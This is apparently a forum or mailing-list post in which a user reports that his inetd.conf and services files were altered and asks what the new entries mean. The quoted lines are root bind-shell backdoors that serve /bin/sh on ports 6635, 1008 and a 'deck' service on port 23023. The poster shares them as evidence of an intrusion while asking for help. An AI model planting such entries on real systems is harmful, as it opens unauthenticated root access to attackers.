Hi There,

I found that two files, 'inetd.conf' and 'services' files, have been
changed in /etc. The 'inetd.conf' became :

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
6635 stream tcp nowait root /bin/sh sh -i
1008 stream tcp nowait root /bin/sh sh
deck stream tcp nowait root /bin/sh sh -i

and in the 'services' file, there is a line at the end of the file

deck 23023/tcp

I didn't change the 'inet.conf' (just comment out some of the services from
the original file) and didn't add the 'deck' service to the 'services'
file. Also, I don't know what the above two lines '(6635 and 1008) are
doing.

Can anyone tell me what 'deck', '6635' and '1008' are? Is that the hole on
my computer?

Thanks,

Derek
